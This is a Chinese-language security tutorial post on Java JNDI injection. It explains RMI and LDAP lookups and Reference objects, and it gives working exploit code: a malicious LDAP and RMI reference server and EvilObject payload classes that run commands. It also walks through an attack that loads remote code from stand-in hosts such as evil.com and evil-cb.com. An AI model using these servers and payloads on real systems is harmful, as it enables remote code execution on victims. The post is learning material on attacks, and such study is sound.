java安全(2)-JNDI注入

打印 上一主题 下一主题

主题 677|帖子 677|积分 2031

0x01前言

了解jndi时,我们要思考明白:
 
1) 什么是jndi 2)jndi代码示例  3)jndi  注入方式 4)高版本绕过

 
 
   
 

  0x01 什么是jndi

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用步调接口,为开发人员查找和访问各种资源提供了同一的通用接口,
它允许 Java 应用步调通过名称发现和检索数据和资源,而不需要直接引用它们的位置。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用 (RMI)、通用对象请求代理体系结构 (CORBA)、轻量级目录访问协议 (LDAP) 或域名服务 (DNS)
JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
简单点说,JNDI就是一组API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象大概存储在RMI、LDAP、CORBA等等。

JNDI 的主要功能

1. 绑定对象


  • JNDI 可以将 Java 对象绑定到命名/目录服务中的名称。
2. 查找和查询


  • 应用步调可以利用 JNDI 根据对象名称或属性来查找或查询对象。这样就可以在运行时动态检索资源或服务。
3.通过SPI实现扩展


  • JNDI 通过服务提供步调接口 (SPI) 支持各种目录服务。这些 SPI 使 JNDI 可以大概与不同的命名和目录系统集成。
 

了解命名和目录服务

Java Naming:命名服务是一种键值对的绑定,使应用步调可以通过键检索值。
伪代码如下:
  1. Context ctx  =  new  InitialContext (env);
  2. MyObject  obj  = (MyObject) ctx.lookup( "myObject" );
复制代码
Java Directory:对象可以有属性,在目录服务中可以根据属性(而不仅仅是名称)存储和搜刮目录对象。
  1. DirContext  ctx  =  new  InitialDirContext (env);
  2. NamingEnumeration<?> namingEnum = ctx.search( "ou=people" , "(cn=Sickurity Wizard)" );
复制代码
ObjectFactory:(重点关注)
Object Factory用于将Naming Service(如RMI/LDAP)中存储的数据转换为Java中可表达的数据,例如Java中的对象或Java中的基本数据类型。每一个Service Provider大概配有多个Object Factory。JNDI注入的题目就是处在可远程下载自定义的ObjectFactory类上。
0x02 jndi 的包以及代码阐明

JNDI 主要是上述四种服务,对应四个包加一个主包
JNDI 接口主要分为下述 5 个包:
  1. javax.naming
  2. javax.naming.directory
  3. javax.naming.event
  4. javax.naming.ldap
  5. javax.naming.spi
复制代码
其中最重要的是 javax.naming 包,包罗了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 以上述打印机服务为例,通过 JNDI 接口,用户可以透明地调用远程打印服务。
Jndi 在对不同服务举行调用的时间,会去调用 xxxContext 这个类,比如调用 RMI 服务的时间就是调的 RegistryContext,这一点是很重要的,记着了这一点对于 JNDI 这里的弊端明白非常有益。一般的应用也就是先 new InitialContext(),再调用 API 即可,下面我们先看一个 JNDI 结合 RMI 的代码实例。
JNDI的代码示例

在JNDI中提供了绑定和查找的方法:


  • bind:将名称绑定到对象中;
  • lookup:通过名字检索执行的对象;
1. Jndi 结合 RMI

下面是基本用法Demo,以RMI服务为例。新建一个项目,把服务端和客户端分开,代码如下:
服务端,其通过JNDI实现RMI服务,并通过JNDI的bind()函数将实例化的Person对象绑定到RMI服务中
  1. import javax.naming.InitialContext;  
  2. import java.rmi.registry.LocateRegistry;  
  3. import java.rmi.registry.Registry;  
  4.   
  5. public class JNDIRMIServer {  
  6.     public static void main(String[] args) throws Exception{  
  7.         InitialContext initialContext = new InitialContext();  //InitialContext 对象用于与JNDI命名服务交互。它可以在JNDI命名空间中查找或绑定对象
  8. Registry registry = LocateRegistry.createRegistry(1099);  //创建RMI注册表,在本地创建一个RMI注册表并监听端口1099。RMI注册表是RMI运行时系统的一部分,它允许服务器注册远程对象,客户端通过查找注册表获取远程对象的引用。
  9. initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());  //initialContext.rebind(...):将一个远程对象绑定到JNDI服务的命名空间中。具体来说,它将RemoteObjImpl对象绑定到rmi://localhost:1099/remoteObj这个地址。
  10. new RemoteObjImpl()://是一个假设的实现类,它应该实现了一个远程接口,提供了可以通过RMI调用的方法。
  11. }  
  12. }
复制代码
客户端,其通过JNDI的lookup方法来检索对象并输出出来
  1. import javax.naming.InitialContext;  
  2.   
  3. public class JNDIRMIClient {  
  4.     public static void main(String[] args) throws Exception{  
  5.         InitialContext initialContext = new InitialContext();  
  6. RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");  
  7. System.out.println(remoteObj.sayHello("hello"));  
  8. }  
  9. }
复制代码
 
弦外音

简单比较一下RMI原生写法和利用JNDI检索的写法,在RMI原生写法中的两种典型写法:
  1. import java.rmi.registry.LocateRegistry;
  2. import java.rmi.registry.Registry;
  3. import remote.IRemoteMath;
  4. ...
  5.    
  6.     //服务端
  7.     IRemoteMath remoteMath = new RemoteMath();
  8.     LocateRegistry.createRegistry(1099);   
  9.     Registry registry = LocateRegistry.getRegistry();
  10.     registry.bind("Compute", remoteMath);
  11. ...
  12.    
  13.     //客户端
  14.     Registry registry = LocateRegistry.getRegistry("localhost");        
  15.     IRemoteMath remoteMath = (IRemoteMath)registry.lookup("Compute");
  16. //or
  17. import java.rmi.Naming;
  18. import java.rmi.registry.LocateRegistry;
  19. ...
  20.         //服务端
  21.     PersonService personService=new PersonServiceImpl();
  22.     LocateRegistry.createRegistry(6600);
  23.     Naming.rebind("rmi://127.0.0.1:6600/PersonService", personService);
  24. ...
  25.         //客户端
  26.         PersonService personService=(PersonService) Naming.lookup("rmi://127.0.0.1:6600/PersonService");
复制代码
JNDI中相关代码:
  1. import javax.naming.Context;
  2. import javax.naming.InitialContext;
  3. import java.rmi.registry.LocateRegistry;
  4. ...
  5.    
  6.         //服务端
  7.         LocateRegistry.createRegistry(6666);
  8.     System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  9.     System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666");
  10.     InitialContext ctx = new InitialContext();
  11.         ...
  12.     ctx.bind("person", p);
  13.     ctx.close();
  14. ...
  15.         //客户端
  16.     InitialContext ctx = new InitialContext();
  17.     Person person = (Person) ctx.lookup("person");
  18.         ctx.close();
  19.         //服务端
  20.     Properties env = new Properties();
  21.     env.put(Context.INITIAL_CONTEXT_FACTORY,
  22.             "com.sun.jndi.rmi.registry.RegistryContextFactory");
  23.     env.put(Context.PROVIDER_URL,
  24.             "rmi://localhost:1099");
  25.     Context ctx = new InitialContext(env);
复制代码
相比之下:


  • 服务端:原生RMI实现中是调用java.rmi包内的bind()或rebind()方法来直接绑定RMI注册表端口的,而JNDI创建的RMI服务中多的部分就是需要设置INITIAL_CONTEXT_FACTORY和PROVIDER_URL来指定InitialContext的初始化Factory和Provider的URL地址,换句话说就是初始化配置JNDI设置时需要预先指定其上下文环境如指定为RMI服务,末了再调用javax.naming.InitialContext.bind()来将指定对象绑定到RMI注册表中;
  • 客户端:原生RMI实现中是调用java.rmi包内的lookup()方法来检索绑定在RMI注册表中的对象,而JNDI实现的RMI客户端查询是调用javax.naming.InitialContext.lookup()方法来检索的;
简单地说,原生RMI实现的方式主要是调用java.rmi这个包来实现绑定和检索的,而JNDI实现的RMI服务则是调用javax.naming这个包即应用Java Naming来实现的。
2. Jndi 结合 ldap

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜刮。目录服务作为一种特殊的数据库,用来生存描述性的、基于属性的具体信息。和传统数据库相比,最大的不同在于目录服务中数据的构造方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,而且没有变乱处置处罚、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP 的请求和相应是 ASN.1 格式,利用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些通例的增删改查操作,同时也包罗一些拓展的操作类型和异步通知变乱。
ldap 的 JNDI 弊端
先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入 unboundid-ldapsdk 的依赖
  1. <dependency>  
  2. <groupId>com.unboundid</groupId>  
  3. <artifactId>unboundid-ldapsdk</artifactId>  
  4. <version>3.2.0</version>  
  5. <scope>test</scope>  
  6. </dependency>
复制代码
对应的 server 的代码

  1. import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
  2. import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
  3. import com.unboundid.ldap.listener.InMemoryListenerConfig;  
  4. import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
  5. import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
  6. import com.unboundid.ldap.sdk.Entry;  
  7. import com.unboundid.ldap.sdk.LDAPException;  
  8. import com.unboundid.ldap.sdk.LDAPResult;  
  9. import com.unboundid.ldap.sdk.ResultCode;  
  10. import javax.net.ServerSocketFactory;  
  11. import javax.net.SocketFactory;  
  12. import javax.net.ssl.SSLSocketFactory;  
  13. import java.net.InetAddress;  
  14. import java.net.MalformedURLException;  
  15. import java.net.URL;  
  16.   
  17. public class LdapServer {  
  18.     private static final String LDAP_BASE = "dc=example,dc=com";  
  19. public static void main (String[] args) {  
  20.         String url = "http://127.0.0.1:8000/#EvilObject";  
  21. int port = 1234;  
  22. try {  
  23.             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
  24. config.setListenerConfigs(new InMemoryListenerConfig(  
  25.                     "listen",  
  26. InetAddress.getByName("0.0.0.0"),  
  27. port,  
  28. ServerSocketFactory.getDefault(),  
  29. SocketFactory.getDefault(),  
  30. (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  31.   
  32. config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));  
  33. InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
  34. System.out.println("Listening on 0.0.0.0:" + port);  
  35. ds.startListening();  
  36. }  
  37.         catch ( Exception e ) {  
  38.             e.printStackTrace();  
  39. }  
  40.     }  
  41.     private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  42.         private URL codebase;  
  43. /**  
  44. * */ public OperationInterceptor ( URL cb ) {  
  45.             this.codebase = cb;  
  46. }  
  47.         /**  
  48. * {@inheritDoc}  
  49. * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)  
  50. */ @Override  
  51. public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
  52.             String base = result.getRequest().getBaseDN();  
  53. Entry e = new Entry(base);  
  54. try {  
  55.                 sendResult(result, base, e);  
  56. }  
  57.             catch ( Exception e1 ) {  
  58.                 e1.printStackTrace();  
  59. }  
  60.         }  
  61.         protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
  62.             URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
  63. System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
  64. e.addAttribute("javaClassName", "Exploit");  
  65. String cbstring = this.codebase.toString();  
  66. int refPos = cbstring.indexOf('#');  
  67. if ( refPos > 0 ) {  
  68.                 cbstring = cbstring.substring(0, refPos);  
  69. }  
  70.             e.addAttribute("javaCodeBase", cbstring);  
  71. e.addAttribute("objectClass", "javaNamingReference");  
  72. e.addAttribute("javaFactory", this.codebase.getRef());  
  73. result.sendSearchEntry(e);  
  74. result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
  75. }  
  76.   
  77.     }  
  78. }
复制代码
客户端这里和上面是差不多的,只是把服务替换成了 ldap
JNDILdapClient.java
  1. import javax.naming.InitialContext;  
  2.   
  3. public class JNDILdapClient {  
  4.     public static void main(String[] args) throws Exception{  
  5.         InitialContext initialContext = new InitialContext();  
  6. RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1099/remoteObj");  
  7. System.out.println(remoteObj.sayHello("hello"));  
  8. }  
  9. }
复制代码
先用 python 起一个 HTTP 服务,再跑服务端代码,再跑客户端。



  • 这个攻击就还是我们之前说的 Reference
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,以是适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
以是,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来举行JNDI注入的利用。
因此,这种利用方式的前提条件就是目的环境的JDK版本在JDK8u191、7u201、6u211以下
 

Reference类

Reference类表示对存在于命名/目录系统以外的对象的引用。
Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。
在利用Reference时,我们可以直接将对象写在构造方法中,当被调用时,对象的方法就会被触发。
几个比较关键的属性:


  • className:远程加载时所利用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议
 
0x02 JNDI注入

前提条件&JDK防御

要想成功利用JNDI注入弊端,重要的前提就是当前Java环境的JDK版本,而JNDI注入中不同的攻击向量和利用方式所被限制的版本号都有点不一样。
这里将全部不同版本JDK的防御都列出来:


  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。利用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议利用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该弊端,但依然可以通过指定URI为LDAP协议来举行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议利用远程codebase的选项,把LDAP协议的攻击途径也给禁了。
因此,我们在举行JNDI注入之前,必须知道当前环境JDK版本这一前提条件,只有JDK版本在可利用的范围内才满足我们举行JNDI注入的前提条件。
RMI攻击向量

RMI+Reference利用技巧
JNDI提供了一个Reference类来表示某个对象的引用,这个类中包罗被引用对象的类信息和地址。
Reference类表示对存在于命名/目录系统以外的对象的引用,这个上面提到过。
由于在JNDI中,对象传递要么是序列化方式存储(对象的拷贝,对应按值传递),要么是按照引用(对象的引用,对应按引用传递)来存储,当序列化欠好用的时间,我们可以利用Reference将对象存储在JNDI系统中。
那么这个JNDI利用技巧是啥呢?
就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件,当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会利用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,终极实现JNDI注入攻击导致远程代码执行
注:简单说就是两个地方可控 1、lookup()函数参数外部可控    2、classFactoryLocation参数外部可控。
classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议 上文也提到过忘记可以回看。

具体步调:

  • 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj;
  • 原先配置好的上下文环境 rmi://localhost:1099 会由于动态环境转换而被指向 rmi://evil.com:1099/;
  • 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  • 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜刮 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;
  • 攻击者事先准备好的服务返回编译好的包罗恶意代码的 EvilObject.class;
  • 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包罗在内里的恶意代码被执行;  
eg:
JNDIClient.java,lookup()函数参数外部可控:
  1. ublic class JNDIClient {
  2.     public static void main(String[] args) throws Exception {
  3.         if(args.length < 1) {
  4.             System.out.println("Usage: java JNDIClient <uri>");
  5.             System.exit(-1);
  6.         }
  7.         String uri = args[0];
  8.         Context ctx = new InitialContext();
  9.         System.out.println("Using lookup() to fetch object with " + uri);
  10.         ctx.lookup(uri);
  11.     }
  12. }
复制代码
RMIService.java,对象实例要能成功绑定在RMI服务上,必须直接或间接的实现 Remote 接口,这里 ReferenceWrapper就继续于 UnicastRemoteObject 类并实现了Remote接口:
  1. public class RMIService {
  2.     public static void main(String args[]) throws Exception {
  3.         Registry registry = LocateRegistry.createRegistry(1099);
  4.         Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8080/");
  5.         ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  6.         System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
  7.         registry.bind("refObj", refObjWrapper);
  8.     }
  9. }
  10. /*evil 远程地址:http://127.0.0.1:8080/,指定了该类的字节码将从这个 URL 加载。
  11. refObjWrapper(包含 EvilObject 的引用)即将被绑定到RMI注册表,地址是 rmi://127.0.0.1:1099/refObj  */
复制代码
简单介绍一下referencewrapper类:

   ReferenceWrapper 类是 Java Naming and Directory Interface (JNDI) 中的一个类,它是 javax.naming.spi.ReferenceWrapper 的一部分。ReferenceWrapper 用于封装一个 Reference 对象,使得该对象可以通过远程调用机制(如 RMI)举行序列化和传输。
  主要功能
ReferenceWrapper 类的主要作用是将一个 Reference 对象包装起来,以便它可以在 RMI 注册表中举行绑定,并被远程客户端访问息争析。由于 Reference 对象自己是不可序列化的,ReferenceWrapper 通过实现 Remote 接口,使得该对象可以被远步调列化和传递。
  利用场景
在 JNDI 中,Reference 对象通常用于指向某个远程对象或服务的引用。当对象自己不支持远程访问时,可以利用 ReferenceWrapper 将 Reference 对象封装并通过 RMI 注册表发布。
远程客户端可以通过查找 RMI 注册表,获取 ReferenceWrapper 对象,并通过 JNDI 机制将其解析为现实对象。
上述代码中,Reference 是一个引用对象,它包罗了目的类的名称 (EvilObject) 和该类的字节码的加载位置(http://127.0.0.1:8080/)。
ReferenceWrapper 将 refObj 封装起来,使得它可以通过 RMI 注册表发布并被远程调用。
  这里的registry 和 刚刚提到的 reference+referencewrapper 在利用场景上有哪些不同? (早先困扰了我好一会不明白,究竟还是web小蔡坤一枚)

   Registry(注册表)

  

  • 功能:Registry 是用于管理和查找远程对象的RMI注册表。它负责将实现了 Remote 接口的对象绑定到注册表,并允许客户端通过名称查找远程对象。
  • 利用场景:在服务器端,开发者利用 Registry 将远程对象绑定到某个名称;客户端可以通过这个名称查找远程对象并调用它的方法。
  • 操尴尬刁难象:Registry 直接处置处罚的是远程对象(即实现了 Remote 接口的对象)。
  代码在jndi+rmi处提及
    Reference(引用)

  

  • 功能:Reference 是JNDI中的一个类,表示某个远程对象的引用。它包罗远程对象的类名、工厂类名,以及远程对象的字节码加载位置(通常是一个URL)。
  • 利用场景:Reference 用于描述远程对象的引用信息,现实的对象并不在本地。客户端通过解析 Reference 对象,可以动态地从远程加载现实的类或对象。
  • 操尴尬刁难象:Reference 包罗的是远程对象的引用信息,而不是远程对象自己。它通常用于动态查找和加载远程资源。
  • 工作机制:Reference 提供了远程对象的引用信息。通过 Reference,可以指定从远程服务器加载某个类的字节码(例如从URL加载类定义),而不是将整个对象传输给客户端。
  ReferenceWrapper

  

  • 功能:ReferenceWrapper 是JNDI中的一个类,用来封装一个 Reference 对象,使它可以大概通过RMI注册表发布。ReferenceWrapper 实现了 Remote 接口,使得 Reference 对象可以通过RMI远程调用传输。
  • 利用场景:ReferenceWrapper 用于在RMI注册表中发布不可序列化的 Reference 对象,使客户端可以大概通过远程调用获取该引用并进一步解析。
  • 操尴尬刁难象:ReferenceWrapper 封装的是一个 Reference 对象,而不是直接的远程对象。
  • 工作机制:ReferenceWrapper 将 Reference 对象封装起来,使得它可以被远程客户端通过RMI注册表访问。客户端查找到 ReferenceWrapper 后,可以通过 Reference 的信息来定位并加载现实的类。
  区别:

   利用场景的对比:

  

  • Registry:直接用于RMI系统中,将 Remote 对象发布到注册表,供远程客户端调用。
  • ReferenceWrapper 和 Reference:用于JNDI系统中,尤其是在需要通过RMI注册表传输和发布不可序列化的引用时。通过 ReferenceWrapper,Reference 对象可以通过RMI机制举行传输,允许远程客户端加载并解析远程对象的引用。
  示例场景:

  

  • Registry:用于典型的RMI远程对象绑定与查找。
  • ReferenceWrapper & Reference:用于需要动态加载远程类或对象的场景,通过RMI传递引用信息,而不是传递整个对象。
  EvilObject.java,目的是弹盘算器:

  1. public class EvilObject {
  2.     public EvilObject() throws Exception {
  3.         Runtime rt = Runtime.getRuntime();
  4.         String[] commands = {"cmd", "/C", "calc.exe"};
  5.         Process pc = rt.exec(commands);
  6.         pc.waitFor();
  7.     }
  8. }
复制代码

LDAP攻击向量

通过LDAP攻击向量来利用JNDI注入的原理和RMI攻击向量是一样的,区别只是换了个接口而已,下面就只列下LDAP+Reference的利用技巧,至于JNDI注入弊端点和前面是一样的就不再赘述了
除了RMI服务之外,JNDI还可以对接LDAP服务,且LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本同等,只是lookup()中的URL为一个LDAP地址如ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,以是适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
以是,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来举行JNDI注入的利用。
因此,这种利用方式的前提条件就是目的环境的JDK版本在JDK8u191、7u201、6u211以下。下面的示例代码中我本地的JDk版本是1.8.0_73。(搬运一下大佬的表明)
LdapServer.java,LDAP服务,需要导入unboundid-ldapsdk.jar包:
  1. public class LdapServer {
  2.     private static final String LDAP_BASE = "dc=example,dc=com";
  3.     public static void main (String[] args) {
  4.         String url = "http://127.0.0.1:8000/#EvilObject";
  5.         int port = 1234;
  6.         try {
  7.             InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
  8.             config.setListenerConfigs(new InMemoryListenerConfig(
  9.                     "listen",
  10.                     InetAddress.getByName("0.0.0.0"),
  11.                     port,
  12.                     ServerSocketFactory.getDefault(),
  13.                     SocketFactory.getDefault(),
  14.                     (SSLSocketFactory) SSLSocketFactory.getDefault()));
  15.             config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
  16.             InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
  17.             System.out.println("Listening on 0.0.0.0:" + port);
  18.             ds.startListening();
  19.         }
  20.         catch ( Exception e ) {
  21.             e.printStackTrace();
  22.         }
  23.     }
  24.     private static class OperationInterceptor extends InMemoryOperationInterceptor {
  25.         private URL codebase;
  26.         /**
  27.          *
  28.          */
  29.         public OperationInterceptor ( URL cb ) {
  30.             this.codebase = cb;
  31.         }
  32.         /**
  33.          * {@inheritDoc}
  34.          *
  35.          * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
  36.          */
  37.         @Override
  38.         public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
  39.             String base = result.getRequest().getBaseDN();
  40.             Entry e = new Entry(base);
  41.             try {
  42.                 sendResult(result, base, e);
  43.             }
  44.             catch ( Exception e1 ) {
  45.                 e1.printStackTrace();
  46.             }
  47.         }
  48.         protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
  49.             URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
  50.             System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
  51.             e.addAttribute("javaClassName", "Exploit");
  52.             String cbstring = this.codebase.toString();
  53.             int refPos = cbstring.indexOf('#');
  54.             if ( refPos > 0 ) {
  55.                 cbstring = cbstring.substring(0, refPos);
  56.             }
  57.             e.addAttribute("javaCodeBase", cbstring);
  58.             e.addAttribute("objectClass", "javaNamingReference");
  59.             e.addAttribute("javaFactory", this.codebase.getRef());
  60.             result.sendSearchEntry(e);
  61.             result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
  62.         }
  63.     }
  64. }
复制代码
LdapClient.java,LDAP客户端:
  1. public class LdapClient {
  2.     public static void main(String[] args) throws Exception{
  3.         try {
  4.             Context ctx = new InitialContext();
  5.             ctx.lookup("ldap://localhost:1234/EvilObject");
  6.             String data = "This is LDAP Client.";
  7.             //System.out.println(serv.service(data));
  8.         }
  9.         catch (NamingException e) {
  10.             // TODO Auto-generated catch block
  11.             e.printStackTrace();
  12.         }
  13.     }
  14. }
复制代码
EvilObject.java,恶意类,执行弹出盘算器:
  1. public class EvilObject {
  2.     public EvilObject() throws Exception {
  3.         Runtime.getRuntime().exec("calc.exe");
  4.     }
  5. }
复制代码
 
弊端点2——classFactoryLocation参数注入

前面lookup()参数注入是基于RMI客户端的,也是最常见的。而本末节的classFactoryLocation参数注入则是对于RMI服务端而言的,也就是说服务端步调在调用Reference()初始化参数时,其中的classFactoryLocation参数外部可控,导致存在JNDI注入。

BClient.java,RMI客户端,通过JNDI来查询RMI注册表上绑定的demo对象,其中lookup()函数参数不可控:
  1. public class BClient {
  2.     public static void main(String[] args) throws Exception {
  3.         Properties env = new Properties();
  4.         env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
  5.         env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
  6.         Context ctx = new InitialContext(env);
  7.         System.out.println("[*]Using lookup() to fetch object with rmi://127.0.0.1:1099/demo");//绑定到rmi的1099端口
  8.         ctx.lookup("demo");
  9.     }
  10. }
复制代码
BServer.java,RMI服务端,创建RMI注册表并将一个远程类的引用绑定在注册表中名为demo,其中该Reference的classFactoryLocation参数外部可控:
  1. public class BServer {
  2.     public static void main(String args[]) throws Exception {
  3.         String uri = "";
  4.         if(args.length == 1) {
  5.             uri = args[0];
  6.         } else {
  7.             uri = "http://127.0.0.1/demo.class";
  8.         }
  9.         System.out.println("[*]classFactoryLocation: " + uri);
  10.         Registry registry = LocateRegistry.createRegistry(1099);
  11.         Reference refObj = new Reference("EvilClass", "EvilClassFactory", uri);
  12.         ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
  13.         System.out.println("[*]Binding 'demo' to 'rmi://192.168.43.201:1099/demo'");
  14.         registry.bind("demo", refObjWrapper);
  15.     }
  16. }
复制代码
EvilClassFactory.java,攻击者编写的远程恶意类,这里是在RMI客户端执行tasklist命令并输出出来
  1. public class EvilClassFactory extends UnicastRemoteObject implements ObjectFactory {
  2.     public EvilClassFactory() throws RemoteException {
  3.         super();
  4.         InputStream inputStream;
  5.         try {
  6.             inputStream = Runtime.getRuntime().exec("tasklist").getInputStream();
  7.             BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
  8.             BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(bufferedInputStream));
  9.             String linestr;
  10.             while ((linestr = bufferedReader.readLine()) != null){
  11.                 System.out.println(linestr);
  12.             }
  13.         } catch (IOException e){
  14.             e.printStackTrace();
  15.         }
  16.     }
  17.     @Override
  18.     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
  19.         return null;
  20.     }
  21. }
复制代码
攻击者将恶意类EvilClassFactory.class放置在自己的Web服务器后,通过往RMI注册表服务端的classFactoryLocation参数输入攻击者的Web服务器地址后,当受害者的RMI客户端通过JNDI来查询RMI注册表中年绑定的demo对象时,会找到classFactoryLocation参数被修改的Reference对象,再远程加载攻击者服务器上的恶意类EvilClassFactory.class,从而导致JNDI注入、实现远程代码执行:

 
弊端点2——结合反序列化弊端
后续学习后会举行增补。。。。。
 
高版本JDK高版本注入绕过

 
   
JDK 6u45、7u21之后:

  
java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

  
将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

  
利用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

  
 

  
JDK 6u141、7u131、8u121之后:

  
增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议利用远程codebase的选项,

  
因此RMI和CORBA在以上的JDK版本上已经无法触发该弊端,但依然可以通过指定URI为LDAP协议来举行JNDI注入攻击。

  
 

  
JDK 6u211、7u201、8u191之后:

  
增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

  
禁止LDAP协议利用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

  
 

  
高版本绕过:

  
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

  
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

   
参考大神文章如下:
浅析JNDI注入 [ Mi1k7ea ]
Java反序列化之JNDI学习 | Drunkbaby's Blog (drun1baby.top)
https://infosecwriteups.com/jndi-injection-the-complete-story-4c5bfbb3f6e1
